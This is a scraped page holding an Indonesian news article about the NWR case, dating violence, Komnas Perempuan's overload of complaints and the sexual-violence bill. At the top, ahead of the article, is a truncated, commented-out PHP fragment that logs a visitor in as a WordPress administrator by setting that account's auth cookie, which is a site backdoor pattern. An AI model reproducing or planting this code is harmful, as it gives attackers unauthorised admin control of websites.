user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Trending Kasus NWR, Bukti Kekerasan Pada Perempuan di Indonesia Masih Rentan

6 Dec 2021


Foto: Freepik
 

Kisah pilu dibalik kematian wanita berinisial NWR (23) meramaikan trending Twitter Indonesia pada Sabtu, (4/12/2021). Mahasiswi asal Mojokerto, Jawa Timur ini ditemukan tewas di samping pusara ayahnya, pada Kamis (2/12/2021) di pemakaman Dusun Sugihan, Desa Japan, Kecamatan Sooko, Kabupaten Mojokerto. Semula, dugaan kematian NWR karena kesedihan yang mendalam ditinggal oleh sang Ayah sehingga membuatnya bunuh diri. Namun fakta mengejutkan kemudian bermunculan.


NWR mengakhiri hidupnya bukan karena depresi ditinggal sang ayah, namun karena kisah asmaranya yang tragis. Depresi yang ia alami disebabkan oleh kekerasan seksual yang dilakukan kekasihnya hingga ia dipaksa untuk melakukan aborsi. Sebuah akun yang mengaku sebagai teman dekat NWR, menceritakan kisah pilu korban melalui cuitannya, hingga akhirnya kasus ini menjadi trending.

Kekasih korban, berinisial RB, kini telah ditetapkan sebagai tersangka tindak pidana aborsi atau pasal dengan sengaja menggugurkan kandungan atau mematikan janin. RB dijerat pasal 348 KUHP juncto pasal 55 KUHP dengan ancaman lima tahun penjara. RB juga akan diproses secara internal dan dijerat dengan Pasal 7 dan 11, Perkap Nomor 14 Tahun 2011 Tentang Kode Etik.

Sangat disayangkan bahwa kasus kekerasan seksual pada NWR baru benar-benar diproses setelah korban meninggal dunia. Apa yang dialami oleh NWR, menambah panjang gambar kelam kasus kekerasan pada perempuan di Indonesia. Bahkan ketika kampenye 16 Hari Anti Kekerasan Terhadap Perempuan (16HAKTP) gencar disuarakan oleh Komnas Perempuan dan berbagai pihak yang peduli pada isu ini, kekerasan pada perempuan terus terjadi.

Tidak hanya hak perempuan untuk terlindungi dari ancaman kekerasan yang seakan tercerabut, tapi juga hak perempuan korban kekerasan sensual yang tidak terlindungi dengan baik. Sekali lagi, kita melihat gambaran korban kekerasan seksual bukan menjadi prioritas tapi justru menjadi victim blaming. Dalam kasus NWR, pihak kepolisian baru bergeming ketika jagad Twitter 'berteriak'. Sehingga korban tidak sempat mendapatkan perlindungan yang tepat.

Dalam konferensi pers yang digelar secara virtual pada Senin (6/12/2021), Ketua Komnas Perempuan, Andy Yentiriyani, mengatakan pihaknya merasa berduka dan terpukul sekali dengan kasus NWR.  Sebelumnya, korban sempat melapor pada Komnas Perempuan pada Agustus 2021. “Kami sebenarnya berupaya mengontaknya. Dan berhasil terkontak di awal bulan November 2021. Serta beberapa langkah telah dilakukan,” ungkap Andy. 

Saat itu korban NWR menyampaikan bahwa ia berharap bisa dimediasi dengan pelaku dan orang tuanya, dan membutuhkan pertolongan konseling karena dampak psikologi yang dirasakannya. Setelah mendengarkan keterangan korban, Komnas Perempuan kemudian mengeluarkan surat rujukan pada 18 November 2021 kepada P2TP2A Mojokerto. Karena kapasitas psikolog yang terbatas dan jumlah klien yang banyak maka penjangkauan tidak dapat dilakukan sekerap yang dibutuhkan, tetapi juga sudah dilakukan dan dijadwalkan kembali di awal Desember. 

Daftar panjang laporan tindak kekerasan yang diterima Komnas Perempuan membuat laporan NWR dan banyak laporan lainnya harus berbaris menunggu giliran. Menurut Andy saat ini Indonesia sedang berada di situasi darurat kekerasan seksual. Bukan saja karena kasus-kasus yang semakin banyak dilaporkan dan kompleks, tetapi daya penanganan terhadap kasus kekerasan seksual pada perempuan sangat terbatas dan rapuh. "Akibatnya banyak sekali kasus yang tidak terlaporkan, jika terlaporkan, itu tidak tertangani dengan baik. Berita mengenai korban telah mengakhiri nyawanya menjadi pukulan bagi kita semua, khususnya kami yang berupaya menangani kasus ini," kata Andy. 

Komisioner Komnas Perempuan, Siti Aminarti pada acara yang sama menyebutkan jika hingga Oktober 2021 Komnas Perempuan mengalami lonjakkan laporan kasus kekerasan pada perempuan. “Komnas Perempuan telah menerima 4.500 kasus dan itu dua kali lipat dari kasus di tahun 2020. Lonjakan ini berbanding terbalik dengan jumlah sumber daya di Komnas Perempuan. Hal ini juga dialami oleh  lembaga perempuan lainnya,” katanya.

Lonjakan kasus kekerasan yang diterima Komnas Perempuan membuat antrian aduan semakin panjang, sehingga terjadi keterlambantan penyikapan. Hal ini menjadi kekhawatiran tersendiri bagi Komnas Perempuan. “Meningkatnya kasus pengaduan ini sudah kami amati dan kenali dari tahun 2020, sementara sumber daya Komnas Perempuan sangat terbatas. Kami mencoba memperbaiki agar lebih bisa membenahi mekanisme pengaduan,” kata Aminarti. Antrian verifikasi pengaduan yang masuk, daftar tunggunya bisa mencapai dua bulan lamanya. 

Bicara tentang kasus NWR, menurut Aminarti kasus ini termasuk dalam kasus Kekerasan dalam Pacaran (KDP). Komnas Perempuan dan lembaga-lembaga pendamping pun telah mendeteksi ada peningkatan pada pelaporan kasus KDP. Bahkan, kasus KDP ini menjadi kasus kekerasan di ruang privat nomor tiga terbanyak yang dilaporkan kepada lembaga pendamping dalam kurun waktu enam tahun terakhir.

Advertisement
Sejak tahun 2015 – 2020, Komnas Perempuan mencatat 11.975 kasus yang dilaporkan dari berbagai pengadaan pelayanan di 34 provinsi Indonesia, atau 20 persen dari total kasus kekerasan terhadap perempuan di ruang publik. Dalam kurun waktu yang sama, Komnas Perempuan menerima rata-rata 150 laporan kasus kekerasan dalam pacaran.

Yang mengkhawatirkan, seringkali kasus KDP ini berakhir dengan kebuntuan di proses hukum. Dan korban sering dijadikan pihak yang disalahkan karena dianggap suka sama suka.
 
Dalam konteks pemaksaan aborsi seperti yang dialami NWR, menurut Andy, lemahnya hukum justru bisa membuat pihak korban ditempatkan sebagai pihak yang dikiriminalkan, sedangkan pihak lelaki bisa melenggang pergi begitu saja karena tidak terjerat oleh hukum.

Hingga saat ini Indonesia memang belum memiliki payung hukum yang kuat untuk melindungi korban kekerasan seksual. Rancangan Undang-Undang Penghapusan Kekerasan Seksual (RUU PKS) hingga saat ini masih menggantung di badan legislatif dan masih terus menjadi perdebatan. Selain beberapa pasal yang menuai pro dan kontra, belakangan RUU PKS juga berganti nama menjadi RUU Tindak Pidana Kekerasan Seksual (TPKS).

Usai draft tersebut berganti nama, Tim Ahli Badan Legislasi (Baleg) DPR RI menghapus lima jenis kekerasan yang ada di dalam draft RUU. Sebelumnya, pada draft RUU PKS ada sembilan bentuk kekerasan yang dicantumkan yaitu pelecehan seksual, pemaksaan perkawinan, pemaksaan kontrasepsi, pemaksaan aborsi, perkosaan, eksploitasi seksual, pemaksaan pelacuran, perbudakan seksual, dan penyiksaan seksual. Namun pada RUU TPKS menjadi hanya mencantumkan empat bentuk kekerasan yaitu pelecehan seksual, pemaksaan alat kontrasepsi, pemaksaan hubungan seksual, dan eksploitasi seksual.  

Perwakilan KOMPAKS, Naila, seperti yang dikutip dari CNN Indonesia mengungkapkan dari perubahan tersebut, perbedaan paling terlihat terletak pada bentuk kekerasan. Ia juga mengatakan bahwa hilangnya sejumlah elemen kunci di RUU PKS ini merupakan kemunduran dalam upaya perlindungan korban kekerasan seksual.  

Isu perlindungan kekerasan terhadap perempuan sendiri sudah menjadi fokus dunia sejak lama. Guna menunjukkan keseriusan akan permasalahan ini, Perserikatan Bangsa-Bangsa (PBB) menetapkan 16 Hari Anti Kekerasan terhadap Perempuan, yang setiap tahunnya berlangsung mulai 25 November hingga 10 Desember. Di Indonesia, upaya-upaya penghapusan kekerasan terhadap perempuan terus digaungkan oleh Komnas Perempuan dan berbagai pihak lain.

Namun, dari kasus NWR, dan kasus-kasus kekerasan pada perempuan lainnya yang masih menunggu antrian penanganannya menjadi warning bagi semua pihak bahwa kekerasan seksual di Indonesia berada dalam status darurat, dan masih lamban penanganan. “Maka Komnas Perempuan ingin betul mengajak semua pihak, momen ini untuk meneguhkan komitmen memastikan penanganan yang lebih baik untuk korban kekerasan pada perempuan, khususnya kekerasan seksual,” tutup Andy. (f) 


Baca Juga: 
Kontroversi Permendikbud Ristek 30/2021, Tuai Pro dan Kontra
Catatan Tentang Kekerasan Terhadap Wanita Berbasis Online
Tolak Kekerasan Terhadap Perempuan!




 


Topic

#kekerasanpadaperempuan

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?